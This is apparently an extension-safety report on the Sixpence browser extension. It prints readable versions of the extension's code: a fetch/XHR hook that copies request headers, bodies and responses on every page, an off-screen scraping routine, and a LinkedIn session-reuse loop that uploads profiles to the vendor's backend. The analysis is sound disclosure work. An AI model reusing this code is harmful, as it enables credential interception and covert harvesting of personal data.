Is Sixpence safe?

High risk

Sixpence captures every page's network traffic and, on server command, silently scrapes hidden tabs and LinkedIn data to its own backend.

Sixpence loads a script into the main JavaScript context of every website you visit that captures the full URL, headers, and body of every fetch and XHR request the page makes, holding it in memory for later retrieval. Its background service worker keeps an open connection to Sixpence's server and, when instructed, opens an unfocused browser window, navigates it to a server-chosen page, and extracts text or captured network data from it. It also uses your existing LinkedIn session to run bulk people-search queries and uploads the resulting profile data (names, links, photos) to Sixpence's backend, and separately loosens cross-site framing and CORS protections browser-wide while its page-scraping features are active.

79Risk
Who publishes it

No other listings under this identity, 1 shared hostname

What this publisher told the store about itself, and the other listings that told it the same thing.

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

testnet-explorer.plumenetwork.xyz
Also called by 1 other listing: TopNod

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Sixpence copies every fetch and XHR call on every page, headers and bodies too

On every http and https page you visit, Sixpence loads a script into the page that rewrites window.fetch and XMLHttpRequest, copying the full URL, method, headers, and body of every request and response the page makes.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You load any http or https page with Sixpence installed.

This applies to every top-level page and every iframe on it, including internal tools and apps that make their own API calls.

The extension did this

A script runs in the page's own JavaScript context and replaces window.fetch and XMLHttpRequest so every network call the page makes is copied to Sixpence.

The copy includes the request URL, method, headers, and body, plus the response status, headers, and full body.

The code that does this

fetch and XHR monkey-patch (provider.js, runs in the page's own JS realm)

Readable version
if (typeof window.fetch === "function") {  const nativeFetch = window.fetch;  window.fetch = async (...args) => {    let url = "", method = "GET", headers = {}, body;    if (typeof args[0] === "string") {      try { url = new URL(args[0], window.location.href).href; } catch { url = args[0]; }    } else if (args[0] instanceof URL) {      url = args[0].href;    } else if (args[0] instanceof Request) {      url = args[0].url; method = args[0].method;      args[0].headers.forEach((v, k) => { headers[k] = v; });    }    if (args[1]) {      method = args[1].method || method;      if (args[1].headers) { /* merge Headers, array-pairs, or plain object into `headers` */ }      body = args[1].body;    }    const request = { url, method, headers, body };    try {      const response = await nativeFetch(...args);      const cloned = response.clone();      const respHeaders = {};      cloned.headers.forEach((v, k) => { respHeaders[k] = v; });      let respBody;      const contentType = cloned.headers.get("content-type");      respBody = contentType && contentType.includes("application/json")        ? await cloned.json().catch(() => cloned.text())        : await cloned.text();      messageChannel.sendMessage("pageNetworkActivity", {        request,        response: { status: response.status, statusText: response.statusText, headers: respHeaders, body: respBody },        isFetch: true,        exploreUrl: window.location.href      });      return response;    } catch {}  };}if (typeof window.XMLHttpRequest === "function") {  const nativeOpen = window.XMLHttpRequest.prototype.open;  const nativeSend = window.XMLHttpRequest.prototype.send;  const meta = new WeakMap();  window.XMLHttpRequest.prototype.open = function (method, url, ...rest) {    meta.set(this, { method, url: url.toString(), requestHeaders: {} });    return nativeOpen.call(this, method, url, ...rest);  };  window.XMLHttpRequest.prototype.send = function (body) {    const info = meta.get(this);    if (!info) return nativeSend.call(this, body);    this.addEventListener("loadend", () => {      const respHeaders = {};      this.getAllResponseHeaders().split(/\r\n|\n/).filter(Boolean).forEach(line => {        const [k, v] = line.split(": ");        if (k && v) respHeaders[k.toLowerCase()] = v;      });      let respBody = this.responseText;      if (respHeaders["content-type"]?.includes("application/json")) {        try { respBody = JSON.parse(this.responseText); } catch {}      }      messageChannel.sendMessage("pageNetworkActivity", {        request: { url: info.url, method: info.method, headers: info.requestHeaders, body },        response: { status: this.status, statusText: this.statusText, headers: respHeaders, body: respBody },        exploreUrl: window.location.href      });    });    return nativeSend.call(this, body);  };}
What is copied from every request and response
  • Request URL and method
    POST https://mail.example.com/api/v1/messages

    Every address your browser calls out to from the page, and whether it was a GET, POST, or other request.

  • Request headers
    Authorization: Bearer <session token>

    All headers the page attached to the request, which can include session or authorization tokens the page itself set.

  • Request body
    {"query":"replacement parts","userId":"u_48213"}

    The full data the page sent, such as form fields, search terms, or API payloads.

  • Response body
    {"orders":[{"id":9931,"total":128.4}]}

    The full reply the page's own API returned, which can include account or business data shown on the page.

Captured unconditionally, sent on command

Every captured request and response is buffered in memory regardless of whether a data-collection task is active. It is later filtered by URL and forwarded only when the server issues a task, but the interception happens on every page load.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Sixpence opens an off-screen window to scrape pages a server task names

After you opt in to share idle device resources, Sixpence's server can open an unfocused browser window, load a URL you never requested, and copy text or captured page data from it back to Sixpence.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

Sixpence's backend sends an extension_insight_page command over the extension's open WebSocket, naming a URL to open.

This can arrive at any time after the user opts in and connects a wallet, whether or not the user is actively browsing.

The extension did this

The background service worker opens a new browser window positioned off-screen and unfocused, then navigates it to that URL without the user clicking anything.

A content script then scrapes the resulting page and the extension relays the result back to Sixpence over the same WebSocket.

The code that does this

Off-screen window creation and scrape dispatch (background.js)

Readable version
async function jS(e) {  const A = await chrome.windows.create({    url: e,    focused: false,    left: 0,    top: 0,    type: "popup"  });  if (!A.tabs || A.tabs.length === 0) throw new Error("Failed to create silent tab");  return A.tabs[0];}async function WS(webUrl, taskId, dataUrls, dataSelectors, doHighlightElements) {  let tab, windowId, safetyTimer, closed = false;  const closeWindow = async () => {    if (!closed && windowId) {      closed = true;      try { await chrome.windows.remove(windowId); } catch {}    }  };  try {    tab = await jS(webUrl);    windowId = tab.windowId;    safetyTimer = setTimeout(() => closeWindow(), 30000);    await new Promise(resolve => {      const onUpdated = (tabId, info) => {        if (tabId === tab.id && info.status === "complete") {          chrome.tabs.onUpdated.removeListener(onUpdated);          resolve();        }      };      chrome.tabs.onUpdated.addListener(onUpdated);    });    await chrome.tabs.sendMessage(tab.id, {      type: "triggerNetworkDataFlushInProvider",      data: { webUrl, taskId, dataUrls, dataSelectors, doHighlightElements },      timestamp: Date.now()    });    chrome.tabs.onRemoved.addListener(tabId => {      if (tabId === tab.id) { clearTimeout(safetyTimer); closeWindow(); }    });  } catch (err) {    if (safetyTimer) clearTimeout(safetyTimer);    if (tab && tab.id) { try { await chrome.tabs.remove(tab.id); } catch {} }    await closeWindow();    throw err;  }}
What one insight-page task can return
  • Page URL visited
    https://example.com/product/12345

    The address of the page your browser loads without you navigating there, chosen by Sixpence's server.

  • Text from the page
    h1 selector => "iPhone 15 Pro Max Case"

    Text content pulled from specific page elements the server names by CSS selector.

  • Captured API responses
    https://example.com/api/product/12345 => {"price":49.99,"inStock":true}

    Full response bodies your browser already fetched from that page, matched by URL and forwarded whole.

Where the scraped data goes
    • ws.sixpence.ai

    Sixpence's own WebSocket server. Issues the insight-page task commands and receives the scraped page data in return.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Sixpence reuses your LinkedIn session to bulk-scrape profiles and upload them

Using LinkedIn headers already captured from your browsing, Sixpence's background script runs LinkedIn's people-search API in a loop, pages through up to 1,000 results, and uploads each profile's name, URL, and photo to its backend.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

Sixpence's page-injected bridge calls its LinkedIn upload function using LinkedIn session headers it already captured from your browsing.

These are the same request headers your browser used for LinkedIn's own pages; you did not supply them to Sixpence for this purpose.

The extension did this

The background script pages through LinkedIn's People-Search API with those headers and uploads each batch of profile results to Sixpence's backend.

Each upload includes the profile URL, name, headline, tracking identifiers, and photo of every result returned.

The code that does this

LinkedIn people-search pagination and upload loop (background.js)

Readable version
async function scrapeLinkedInPeopleSearch(nonce, linkedinHeaders, tabId) {  const authToken = await tokenStore.getItem("local:token");  const userInfo = await fetchLinkedInMe(linkedinHeaders);  const searchToken = await getSearchQueryToken("https://www.linkedin.com/search/results/people", linkedinHeaders);  let collected = 0;  if (!searchToken) return;  async function page(start = 0) {    const result = await runPeopleSearchQuery(searchToken, linkedinHeaders, start);    const profiles = (result?.included ?? []).filter(x => x.template?.toUpperCase() === "UNIVERSAL");    collected += profiles.length;    const totalResultCount = Math.min(result?.data?.data?.searchDashClustersByAll?.metadata?.totalResultCount, MAX_PROFILES);    messenger.sendMessage("showLinkedinProfile", { totalResultCount, progress: collected });    messenger.sendMessage("showLinkedinProfileToTab", { totalResultCount, progress: collected }, tabId);    await fetch(`${BACKEND_URL}/api/service/linkedin/upload`, {      method: "POST",      headers: { "Content-Type": "application/json", Authorization: `Bearer ${authToken}` },      body: JSON.stringify({        nonce,        data: {          userInfo: userInfo.included[0],          connecters: {            g1: profiles.map(p => ({              navigationUrl: p.navigationUrl,              title: p.title,              trackingId: p.trackingId,              trackingUrn: p.trackingUrn,              primarySubtitle: p.primarySubtitle,              secondarySubtitle: p.secondarySubtitle,              avatar: p?.image?.attributes?.[0]?.detailData?.nonEntityProfilePicture?.vectorImage?.artifacts?.[0]?.fileIdentifyingUrlPathSegment            }))          }        }      })    });    await sleep(400);    if (collected >= MAX_PROFILES) {      messenger.sendMessage("uploadLinkedinDone");      messenger.sendMessage("uploadLinkedinDoneToTab", undefined, tabId);      return;    }    if (collected < totalResultCount && profiles.length > 0) {      await page(start + PAGE_SIZE);    } else {      messenger.sendMessage("uploadLinkedinDone");      messenger.sendMessage("uploadLinkedinDoneToTab", undefined, tabId);    }  }  await page();}
What is uploaded per LinkedIn profile
  • Profile URL
    https://www.linkedin.com/in/jane-doe-4471a2b

    A direct link to the LinkedIn profile that was returned in your search results.

  • Name and headline
    Jane Doe, Senior Product Manager at Acme Corp

    The person's displayed name and job title as shown on their LinkedIn profile.

  • LinkedIn tracking IDs
    trackingId: AbCdEfGh123==

    LinkedIn's own internal identifiers for that profile and that search result.

  • Profile photo URL
    https://media.licdn.com/dms/image/D4D03AQ.../profile-displayphoto

    A link to the person's profile picture as hosted by LinkedIn.

Where the profile data goes
    • backend.sixpence.ai

    Sixpence's own backend. Receives every scraped batch of LinkedIn profiles behind a nonce-authenticated upload endpoint.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

+1 more finding not shown

Where it sends data

Destinations our analysis observed Sixpence contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • backend.sixpence.ai

    Sixpence sends data to backend.sixpence.ai. No other extension we have analyzed sends data here.

  • ws.sixpence.ai

    Sixpence sends data to ws.sixpence.ai. No other extension we have analyzed sends data here.

Updated 30 September 2026bcakokeeafaehcajfkajcpbdkfnoahlh